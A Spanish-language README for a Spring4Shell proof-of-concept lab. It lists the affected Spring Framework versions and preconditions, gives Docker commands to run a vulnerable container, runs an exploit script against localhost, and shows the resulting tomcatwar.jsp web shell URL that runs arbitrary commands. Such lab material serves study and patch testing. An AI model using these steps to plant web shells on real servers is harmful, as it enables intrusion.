Vulnerabilidad Spring4shell RCE

Esta vulnerabilidad afecta a Spring Core y permite a un atacante enviar una solicitud HTTP especialmente manipulada para evadir las protecciones del analizador de solicitudes HTTP de la biblioteca, lo que conduce a la ejecución remota de código.

Más información aquí

Para que esta vulnerabilidad pueda ser explotada, deben cumplirse varias condiciones:

• Usar JDK 9 o superior
• Tener Apache Tomcat como contenedor de servlets
• Estar empaquetado como un WAR tradicional (en contraste con un jar ejecutable de Spring Boot)
• Usar la dependencia spring-webmvc o spring-webflux
• Usar versiones de Spring Framework 5.3.0 a 5.3.17, 5.2.0 a 5.2.19, o versiones anteriores

POC

• Construir la imagen de Docker

docker build . -t springshell-rce-poc

• Ejecutar el contenedor de Docker

docker run --rm -p 8081:8080 --name springshell-rce-poc springshell-rce-poc

• Ejecutar el exploit

python exploit-poc.py --url "http://127.0.0.1:8081/"

La respuesta esperada

exploiting
Shell URL:http://127.0.0.1:8081/tomcatwar.jsp?pwd=j&cmd=whoami

Si accedes a esta URL, ejecutará cualquier comando que quieras cmd=<whatyouwant>

Si te conectas por SSH al contenedor, verás que se ha creado un nuevo archivo tomcatwar.jsp

docker exec -it springshell-rce-poc /bin/bash
ls /usr/local/tomcat/webapps/ROOT